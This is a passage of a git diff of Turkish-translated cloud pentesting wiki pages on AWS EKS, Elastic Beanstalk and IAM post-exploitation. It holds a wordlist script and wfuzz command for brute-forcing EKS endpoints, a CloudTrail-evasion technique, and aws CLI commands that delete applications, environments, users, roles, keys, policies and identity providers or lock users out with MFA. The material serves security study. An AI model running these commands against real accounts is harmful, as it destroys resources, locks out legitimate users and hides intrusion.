+ +kube yapılandırması +```yaml +describe-cache-parametersapiVersion: v1 +clusters: +- cluster: +certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== +server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com +name: arn:aws:eks:us-east-1::cluster/ +contexts: +- context: +cluster: arn:aws:eks:us-east-1::cluster/ +user: arn:aws:eks:us-east-1::cluster/ +name: arn:aws:eks:us-east-1::cluster/ +current-context: arn:aws:eks:us-east-1::cluster/ +kind: Config +preferences: {} +users: +- name: arn:aws:eks:us-east-1::cluster/ +user: +exec: +apiVersion: client.authentication.k8s.io/v1beta1 +args: +- --region +- us-west-2 +- --profile +- +- eks +- get-token +- --cluster-name +- +command: aws +env: null +interactiveMode: IfAvailable +provideClusterInfo: false +``` +
+ +### AWS'den Kubernetes'e + +Bir **EKS cluster**'ı **oluşturan** kişi, Kubernetes kümesinin **`system:masters`** (k8s admin) grubuna **HER ZAMAN** erişebilecektir. Bu yazının yazıldığı tarihte kümeyi **kim oluşturduğunu** bulmak için **doğrudan bir yol yoktur** (kontrol için CloudTrail'e bakabilirsiniz). Ve bu **ayrcalığı kaldırmanın** **bir yolu yoktur**. + +K8s'e daha fazla **AWS IAM users or roles** için erişim vermenin yolu **configmap** **`aws-auth`**'ı kullanmaktır. + +> [!WARNING] +> Bu nedenle, config map **`aws-auth`** üzerinde **yazma erişimine** sahip olan herkes **tüm kümeyi ele geçirebilir**. + +Daha fazla bilgi için, **aynı veya farklı hesapta IAM roles & users’a ekstra ayrıcalıkların nasıl verileceği** ve bunun nasıl **suistimal edileceği** hakkında [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps). + +Ayrıca [ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **gönderisini, IAM -> Kubernetes kimlik doğrulamasının nasıl çalıştığını öğrenmek için inceleyin**. + +### Kubernetes'ten AWS'e + +**OpenID authentication for kubernetes service account**'a izin vererek onların AWS rollerini üstlenmelerini sağlamak mümkündür. Nasıl çalıştığını öğrenmek için [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). + +### JWT Token'dan Api Server Endpoint Alma + +JWT token'ı decode ettiğimizde cluster id ve ayrıca bölge bilgisi elde ederiz. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS URL'inin standart formatı şu şekildedir +```bash +https://...eks.amazonaws.com +``` +'Two chars' ve 'number' için kriterleri açıklayan herhangi bir dokümantasyon bulamadım. Ancak kendi yaptığım bazı testlerde şu tekrarları görüyorum: + +- gr7 +- yl4 + +Her neyse, bunlar sadece 3 karakter; bunları bruteforce edebiliriz. Listeyi oluşturmak için aşağıdaki script'i kullanın +```python +from itertools import product +from string import ascii_lowercase + +letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2) +number_combinations = product('0123456789', repeat = 1) + +result = [ +f'{''.join(comb[0])}{comb[1][0]}' +for comb in product(letter_combinations, number_combinations) +] + +with open('out.txt', 'w') as f: +f.write('\n'.join(result)) +``` +Sonra wfuzz ile +```bash +wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com +``` +> [!WARNING] +> Yerine & koymayı unutmayın . + +### CloudTrail'ı Atlatma + +Eğer bir attacker, **permission over an EKS** olan bir AWS kimlik bilgilerini elde ederse. Attacker daha önce açıklandığı gibi kendi **`kubeconfig`**'ini (**`update-kubeconfig`** çağırmadan) yapılandırırsa, **`get-token`** Cloudtrail'da log oluşturmaz çünkü AWS API ile etkileşime girmez (sadece token'ı yerel olarak oluşturur). + +Bu nedenle attacker EKS cluster ile iletişim kurduğunda, **cloudtrail çalınan kullanıcı ve erişimiyle ilgili hiçbir şeyi loglamayacaktır**. + +Not: EKS cluster'ın bu erişimi loglayacak şekilde logları etkinleştirilmiş olabilir (varsayılan olarak devre dışı olmalarına rağmen). + +### EKS Ransom? + +Varsayılan olarak bir cluster'ı oluşturan **user or role** her zaman cluster üzerinde **ALWAYS going to have admin privileges** olacaktır. Ve bu, AWS'nin Kubernetes cluster'ı üzerinde sahip olduğu tek "secure" erişimdir. + +Yani, eğer bir **attacker fargate kullanarak bir cluster'ı compromises** eder ve **diğer tüm adminsleri kaldırır** ve **Cluster'ı oluşturan AWS user/role'u silerse**, ~~attacker cluster'ı ransom etmiş olabilir~~. + +> [!TIP] +> Dikkat: Eğer cluster **EC2 VMs** kullanıyorsa, **Node**'dan Admin ayrıcalıkları elde etmek ve cluster'ı kurtarmak mümkün olabilir. +> +> Aslında, eğer cluster **Fargate** kullanıyorsa EC2 node'ları oluşturabilir veya her şeyi EC2'ye taşıyarak node içindeki tokens'a erişip kurtarabilirsiniz. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md deleted file mode 100644 index 0f5bff727..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ /dev/null @@ -1,70 +0,0 @@ -# AWS - Elastic Beanstalk Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Elastic Beanstalk - -Daha fazla bilgi için: - -{{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md -{{#endref}} - -### `elasticbeanstalk:DeleteApplicationVersion` - -> [!NOTE] -> TODO: Daha fazla izin gerekip gerekmediğini test et - -`elasticbeanstalk:DeleteApplicationVersion` iznine sahip bir saldırgan, **mevcut bir uygulama sürümünü silebilir**. Bu eylem, uygulama dağıtım hatlarını kesintiye uğratabilir veya yedeklenmemişse belirli uygulama sürümlerinin kaybına neden olabilir. -```bash -aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version -``` -**Olası Etki**: Uygulama dağıtımında kesinti ve uygulama sürümlerinin potansiyel kaybı. - -### `elasticbeanstalk:TerminateEnvironment` - -> [!NOTE] -> TODO: Bunun için daha fazla izin gerekip gerekmediğini test et - -`elasticbeanstalk:TerminateEnvironment` iznine sahip bir saldırgan, **mevcut bir Elastic Beanstalk ortamını sonlandırabilir**, bu da uygulama için kesintiye ve ortam yedeklemeleri yapılandırılmamışsa potansiyel veri kaybına neden olabilir. -```bash -aws elasticbeanstalk terminate-environment --environment-name my-existing-env -``` -**Olası Etki**: Uygulamanın kesintiye uğraması, potansiyel veri kaybı ve hizmetlerin aksaması. - -### `elasticbeanstalk:DeleteApplication` - -> [!NOTE] -> TODO: Bunun için daha fazla izin gerekip gerekmediğini test et - -`elasticbeanstalk:DeleteApplication` iznine sahip bir saldırgan, **tüm Elastic Beanstalk uygulamasını**, tüm sürümleri ve ortamlarıyla birlikte **silme** yetkisine sahiptir. Bu eylem, yedeklenmemişse uygulama kaynakları ve yapılandırmalarında önemli bir kayba neden olabilir. -```bash -aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force -``` -**Potansiyel Etki**: Uygulama kaynaklarının, yapılandırmaların, ortamların ve uygulama sürümlerinin kaybı, hizmet kesintisine ve potansiyel veri kaybına yol açabilir. - -### `elasticbeanstalk:SwapEnvironmentCNAMEs` - -> [!NOTE] -> TODO: Bunun için daha fazla izin gerekip gerekmediğini test et - -`elasticbeanstalk:SwapEnvironmentCNAMEs` iznine sahip bir saldırgan, **iki Elastic Beanstalk ortamının CNAME kayıtlarını değiştirebilir**, bu da uygulamanın yanlış sürümünün kullanıcılara sunulmasına veya istenmeyen davranışlara yol açabilir. -```bash -aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 -``` -**Olası Etki**: Kullanıcılara uygulamanın yanlış versiyonunu sunmak veya değiştirilmiş ortamlar nedeniyle uygulamada istenmeyen davranışlara neden olmak. - -### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` - -> [!NOTE] -> TODO: Bunun için daha fazla izin gerekip gerekmediğini test et - -`elasticbeanstalk:AddTags` ve `elasticbeanstalk:RemoveTags` izinlerine sahip bir saldırgan, **Elastic Beanstalk kaynaklarına etiket ekleyebilir veya kaldırabilir**. Bu eylem, yanlış kaynak tahsisine, faturalandırmaya veya kaynak yönetimine yol açabilir. -```bash -aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 - -aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag -``` -**Olası Etki**: Eklenen veya kaldırılan etiketler nedeniyle yanlış kaynak tahsisi, faturalama veya kaynak yönetimi. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md new file mode 100644 index 000000000..09dabb4c0 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md @@ -0,0 +1,70 @@ +# AWS - Elastic Beanstalk Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Elastic Beanstalk + +Daha fazla bilgi için: + +{{#ref}} +../../aws-services/aws-elastic-beanstalk-enum.md +{{#endref}} + +### `elasticbeanstalk:DeleteApplicationVersion` + +> [!NOTE] +> TODO: Bunun için daha fazla iznin gerekli olup olmadığını test et + +Bu izne sahip bir saldırgan `elasticbeanstalk:DeleteApplicationVersion` ile mevcut bir uygulama sürümünü **silebilir**. Bu eylem, uygulama dağıtım pipeline'larını aksatabilir veya yedeklenmemişse belirli uygulama sürümlerinin kaybına neden olabilir. +```bash +aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version +``` +**Potansiyel Etki**: Uygulama dağıtımının kesintiye uğraması ve uygulama sürümlerinin kaybedilme olasılığı. + +### `elasticbeanstalk:TerminateEnvironment` + +> [!NOTE] +> TODO: Bu işlem için daha fazla iznin gerekli olup olmadığını test edin + +Bu izne (`elasticbeanstalk:TerminateEnvironment`) sahip bir saldırgan mevcut bir Elastic Beanstalk environment'ı **sonlandırabilir**, bu da uygulama için kesintiye ve ortam yedeklemeleri yapılandırılmamışsa potansiyel veri kaybına yol açar. +```bash +aws elasticbeanstalk terminate-environment --environment-name my-existing-env +``` +**Potential Impact**: Uygulamanın kesintiye uğraması, olası veri kaybı ve servislerde aksama. + +### `elasticbeanstalk:DeleteApplication` + +> [!NOTE] +> TODO: Bunun için daha fazla iznin gerekip gerekmediğini test edin + +`elasticbeanstalk:DeleteApplication` iznine sahip bir saldırgan **bir Elastic Beanstalk uygulamasını tamamen silebilir**, tüm sürümlerini ve ortamlarını da kapsayacak şekilde. Bu eylem, yedeklenmemişse uygulama kaynaklarının ve yapılandırmalarının önemli ölçüde kaybına yol açabilir. +```bash +aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force +``` +**Olası Etki**: Uygulama kaynaklarının, yapılandırmaların, ortamların ve uygulama sürümlerinin kaybı; bu da hizmet kesintisine ve olası veri kaybına yol açabilir. + +### `elasticbeanstalk:SwapEnvironmentCNAMEs` + +> [!NOTE] +> TODO: Bunun için daha fazla iznin gerekip gerekmediğini test edin + +`elasticbeanstalk:SwapEnvironmentCNAMEs` iznine sahip bir saldırgan **iki Elastic Beanstalk ortamının CNAME kayıtlarını takas edebilir**, bu da kullanıcılara yanlış uygulama sürümünün sunulmasına veya istenmeyen davranışlara yol açabilir. +```bash +aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 +``` +**Olası Etki**: Kullanıcılara uygulamanın yanlış sürümünün sunulması veya ortamların yer değiştirmesi nedeniyle uygulamada istenmeyen davranışlara yol açması. + +### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` + +> [!NOTE] +> TODO: Bu işlem için daha fazla iznin gerekli olup olmadığını test edin + +Bir saldırgan `elasticbeanstalk:AddTags` ve `elasticbeanstalk:RemoveTags` izinlerine sahipse **Elastic Beanstalk kaynaklarına etiket ekleyebilir veya kaldırabilir**. Bu eylem yanlış kaynak tahsisine, faturalamaya veya kaynak yönetimine yol açabilir. +```bash +aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 + +aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag +``` +**Potansiyel Etki**: Eklenen veya kaldırılan etiketler nedeniyle yanlış kaynak tahsisi, faturalandırma veya kaynak yönetimi sorunları. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md deleted file mode 100644 index f7b9db9dc..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ /dev/null @@ -1,166 +0,0 @@ -# AWS - IAM Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## IAM - -For more information about IAM access: - -{{#ref}} -../aws-services/aws-iam-enum.md -{{#endref}} - -## Confused Deputy Problem - -Eğer **harici bir hesabın (A) erişmesine izin verirseniz** hesabınızdaki bir **role**'e, muhtemelen **o harici hesaba tam olarak kimin erişebildiği konusunda 0 görünürlüğe** sahip olacaksınız. Bu bir sorundur, çünkü başka bir harici hesap (B), harici hesap (A)'ya erişebiliyorsa, **B de hesabınıza erişebilecek** olabilir. - -Bu nedenle, bir harici hesabın hesabınızdaki bir role erişmesine izin verirken bir `ExternalId` belirtmek mümkündür. Bu, harici hesap (A)'nın **belirtmesi gereken** "gizli" bir dizgedir ve kuruluşunuzdaki **role'ü üstlenmek için** gereklidir. **Harici hesap B bu dizgeyi bilmeyeceği için**, A'ya erişimi olsa bile **role'a erişemeyecektir**. - -
- -Ancak, bu `ExternalId` "gizlisi"nin **gizli olmadığını** unutmayın; `IAM assume role policy`'yi **okuyabilen herkes** bunu görebilecektir. Fakat harici hesap A bunu biliyorsa ve harici hesap **B bunu bilmiyorsa**, bu durum **B'nin A'yı kötüye kullanarak hesabınızdaki role'a erişmesini engeller**. - -Örnek: -```json -{ -"Version": "2012-10-17", -"Statement": { -"Effect": "Allow", -"Principal": { -"AWS": "Example Corp's AWS Account ID" -}, -"Action": "sts:AssumeRole", -"Condition": { -"StringEquals": { -"sts:ExternalId": "12345" -} -} -} -} -``` -> [!WARNING] -> Bir attacker'ın bir confused deputy'yi exploit edebilmesi için, current account'taki principals'ların diğer accounts'taki roles'ları impersonate edip edemeyeceğini bir şekilde tespit etmesi gerekir. - -### Beklenmeyen Güven İlişkileri - -#### Wildcard olarak principal -```json -{ -"Action": "sts:AssumeRole", -"Effect": "Allow", -"Principal": { "AWS": "*" } -} -``` -Bu politika **tüm AWS'nin** rolü üstlenmesine izin verir. - -#### Hizmet principal olarak -```json -{ -"Action": "lambda:InvokeFunction", -"Effect": "Allow", -"Principal": { "Service": "apigateway.amazonaws.com" }, -"Resource": "arn:aws:lambda:000000000000:function:foo" -} -``` -Bu politika **herhangi bir hesabın** apigateway'ini bu Lambda'yı çağırmak üzere yapılandırmasına izin verir. - -#### S3 özne olarak -```json -"Condition": { -"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, -"StringEquals": { -"aws:SourceAccount": "123456789012" -} -} -``` -Eğer bir S3 bucket principal olarak verilmişse, çünkü S3 bucket'ların bir Account ID'si yoktur, eğer siz **bucket'ınızı sildiyseniz ve attacker onu kendi hesabında oluşturduysa**, bunu kötüye kullanabilirler. - -#### Desteklenmiyor -```json -{ -"Effect": "Allow", -"Principal": { "Service": "cloudtrail.amazonaws.com" }, -"Action": "s3:PutObject", -"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" -} -``` -Confused Deputy sorunlarından kaçınmanın yaygın bir yolu, kaynak ARN'yi kontrol etmek için `AWS:SourceArn` ile bir koşul kullanmaktır. Ancak, **bazı servisler bunu desteklemeyebilir** (örneğin bazı kaynaklara göre CloudTrail). - -### Kimlik Bilgilerinin Silinmesi -Aşağıdaki izinlerden herhangi biriyle — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — bir aktör erişim anahtarlarını, giriş profillerini, SSH anahtarlarını, servis-özgü kimlik bilgilerini, instance profillerini, sertifikaları veya CloudFront açık anahtarlarını silebilir ya da rollerin instance profillerinden ayrılmasına neden olabilir. Bu tür eylemler meşru kullanıcıları ve uygulamaları derhal engelleyebilir ve hizmet reddi (denial-of-service) veya bu kimlik bilgilerine bağımlı sistemlerin erişimini kaybetmesine yol açabilir; bu nedenle bu IAM izinleri sıkı şekilde kısıtlanmalı ve izlenmelidir. -```bash -# Remove Access Key of a user -aws iam delete-access-key \ ---user-name \ ---access-key-id AKIAIOSFODNN7EXAMPLE - -## Remove ssh key of a user -aws iam delete-ssh-public-key \ ---user-name \ ---ssh-public-key-id APKAEIBAERJR2EXAMPLE -``` -### Kimlik Silme -`iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` veya `iam:RemoveUserFromGroup` gibi izinlere sahip bir aktör, kullanıcıları, rolleri veya grupları silebilir ya da grup üyeliğini değiştirebilir — böylece kimlikleri ve ilişkili izleri kaldırır. Bu, bu kimliklere bağlı kişiler ve hizmetler için erişimi derhal kesebilir, denial-of-service veya erişim kaybına yol açabilir; bu yüzden bu IAM eylemleri sıkı şekilde sınırlandırılmalı ve izlenmelidir. -```bash -# Delete a user -aws iam delete-user \ ---user-name - -# Delete a group -aws iam delete-group \ ---group-name - -# Delete a role -aws iam delete-role \ ---role-name -``` -### -Şu izinlerden herhangi birine sahip bir aktör — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — yönetilen veya inline politikaları silebilir veya ayırabilir, politika sürümlerini veya izin sınırlarını kaldırabilir ve politikaları kullanıcılar, gruplar veya rollerden ayırabilir. Bu, yetkilendirmeleri yok eder ve izin modelini değiştirebilir; bu nedenle bu politikalara bağlı olan varlıklar için anında erişim kaybına veya denial-of-service'e yol açabilir, bu yüzden bu IAM eylemleri sıkı şekilde kısıtlanmalı ve izlenmelidir. -```bash -# Delete a group policy -aws iam delete-group-policy \ ---group-name \ ---policy-name - -# Delete a role policy -aws iam delete-role-policy \ ---role-name \ ---policy-name -``` -### Federe Kimlik Sağlayıcılarının Silinmesi -`iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, ve `iam:RemoveClientIDFromOpenIDConnectProvider` ile bir aktör OIDC/SAML kimlik sağlayıcılarını silebilir veya istemci kimliklerini kaldırabilir. Bu, federe kimlik doğrulamayı bozarak token doğrulamasını engeller ve IdP veya yapılandırmalar geri yüklenene kadar SSO'ya bağlı kullanıcılar ve hizmetler için erişimi anında reddeder. -```bash -# Delete OIDCP provider -aws iam delete-open-id-connect-provider \ ---open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com - -# Delete SAML provider -aws iam delete-saml-provider \ ---saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS -``` -### Yetkisiz MFA Etkinleştirme -`iam:EnableMFADevice` ile bir aktör, bir kullanıcının kimliğine bir MFA cihazı kaydederek meşru kullanıcının oturum açmasını engelleyebilir. Yetkisiz bir MFA etkinleştirildiğinde, cihaz kaldırılana veya sıfırlanana kadar kullanıcı kilitlenebilir (not: eğer birden fazla MFA cihazı kayıtlıysa, oturum açmak için yalnızca birine ihtiyaç vardır, bu nedenle bu saldırı erişimi engellemede etkili olmayacaktır). -```bash -aws iam enable-mfa-device \ ---user-name \ ---serial-number arn:aws:iam::111122223333:mfa/alice \ ---authentication-code1 123456 \ ---authentication-code2 789012 -``` -### Sertifika/Anahtar Meta Veri Değiştirme -`iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` izinleriyle bir aktör açık anahtarların ve sertifikaların durumunu veya meta verisini değiştirebilir. Anahtarları/sertifikaları etkin olmayan olarak işaretleyerek veya referansları değiştirerek SSH kimlik doğrulamayı bozabilir, X.509/TLS doğrulamalarını geçersiz kılabilir ve bu kimlik bilgilerine bağımlı hizmetleri anında aksatabilir; bu da erişim kaybına veya kullanılabilirlik sorunlarına yol açar. -```bash -aws iam update-ssh-public-key \ ---user-name \ ---ssh-public-key-id APKAEIBAERJR2EXAMPLE \ ---status Inactive - -aws iam update-server-certificate \ ---server-certificate-name \ ---new-path /prod/ -``` -## Referanslar - -- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md new file mode 100644 index 000000000..4c471c85b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md @@ -0,0 +1,166 @@ +# AWS - IAM Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## IAM + +IAM erişimi hakkında daha fazla bilgi için: + +{{#ref}} +../../aws-services/aws-iam-enum.md +{{#endref}} + +## Confused Deputy Problemi + +Eğer bir **harici hesaba (A)** hesabınızdaki bir **role** erişim izni verirseniz, muhtemelen **bu harici hesaba kimin tam olarak erişebildiği** konusunda **hiç (0) görünürlüğe** sahip olmazsınız. Bu bir sorundur; çünkü başka bir harici hesap (B), A'ya erişebiliyorsa, **B'nin de hesabınıza erişebilmesi** mümkündür. + +Bu nedenle, bir harici hesaba hesabınızdaki bir role erişim izni verirken bir `ExternalId` belirtmek mümkündür. Bu, harici hesap (A)'nın organizasyonunuzdaki role'ü üstlenebilmek için belirtmesi gereken bir "gizli" dizgedir. Harici hesap B bu dizgeyi bilmediğinden, A'ya erişimi olsa bile hesabınızdaki role'e erişemeyecektir. + +
+ +Ancak, bu `ExternalId` "gizli" bilgisinin **aslında gizli olmadığını** unutmayın; IAM assume role policy'yi **okuyabilen herkes bunu görebilir**. Yine de, harici hesap A bunu bildiği sürece ve harici hesap **B bunu bilmediği sürece**, bu durum **B'nin A'yı kötüye kullanarak hesabınızdaki role'e erişmesini engeller**. + +Örnek: +```json +{ +"Version": "2012-10-17", +"Statement": { +"Effect": "Allow", +"Principal": { +"AWS": "Example Corp's AWS Account ID" +}, +"Action": "sts:AssumeRole", +"Condition": { +"StringEquals": { +"sts:ExternalId": "12345" +} +} +} +} +``` +> [!WARNING] +> Bir saldırganın bir confused deputy'i istismar edebilmesi için, mevcut hesapta yer alan principals'ın diğer hesaplardaki roles'leri impersonate edip edemediğini bir şekilde tespit etmesi gerekir. + +### Beklenmeyen Güven İlişkileri + +#### Principal olarak wildcard +```json +{ +"Action": "sts:AssumeRole", +"Effect": "Allow", +"Principal": { "AWS": "*" } +} +``` +Bu politika **tüm AWS'nin** rolü üstlenmesini sağlar. + +#### Hizmetin principal olarak kullanılması +```json +{ +"Action": "lambda:InvokeFunction", +"Effect": "Allow", +"Principal": { "Service": "apigateway.amazonaws.com" }, +"Resource": "arn:aws:lambda:000000000000:function:foo" +} +``` +#### S3 principal olarak + +Bu politika **herhangi bir hesabın** apigateway'ini yapılandırarak bu Lambda'yı çağırmasına izin verir. +```json +"Condition": { +"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, +"StringEquals": { +"aws:SourceAccount": "123456789012" +} +} +``` +Eğer bir S3 bucket principal olarak verildiyse — çünkü S3 bucket'ların bir Account ID'si yoktur — siz **deleted your bucket and the attacker created** ise ve attacker bunu kendi hesabında oluşturduysa, bunu suistimal edebilirler. + +#### Desteklenmiyor +```json +{ +"Effect": "Allow", +"Principal": { "Service": "cloudtrail.amazonaws.com" }, +"Action": "s3:PutObject", +"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" +} +``` +Confused Deputy sorunlarından kaçınmanın yaygın yollarından biri, kaynağın ARN'sini kontrol etmek için `AWS:SourceArn` ile bir koşul kullanmaktır. Ancak, **bazı servisler bunu desteklemeyebilir** (bazı kaynaklara göre CloudTrail gibi). + +### Kimlik Bilgilerinin Silinmesi +With any of the following permissions — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — an actor can remove access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates or CloudFront public keys, or disassociate roles from instance profiles. Such actions can immediately block legitimate users and applications and cause denial-of-service or loss of access for systems that depend on those credentials, so these IAM permissions must be tightly restricted and monitored. +```bash +# Remove Access Key of a user +aws iam delete-access-key \ +--user-name \ +--access-key-id AKIAIOSFODNN7EXAMPLE + +## Remove ssh key of a user +aws iam delete-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE +``` +### Kimlik Silme +`iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` veya `iam:RemoveUserFromGroup` gibi izinlerle bir aktör kullanıcıları, rolleri veya grupları silebilir ya da grup üyeliğini değiştirebilir — böylece kimlikleri ve bunlarla ilişkili izleri kaldırır. Bu, bu kimliklere bağlı kişi ve hizmetlerin erişimini anında bozarak hizmet reddine veya erişim kaybına neden olabilir; bu yüzden bu IAM eylemleri sıkı şekilde kısıtlanmalı ve izlenmelidir. +```bash +# Delete a user +aws iam delete-user \ +--user-name + +# Delete a group +aws iam delete-group \ +--group-name + +# Delete a role +aws iam delete-role \ +--role-name +``` +### +Bu izinlerden herhangi biri — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, 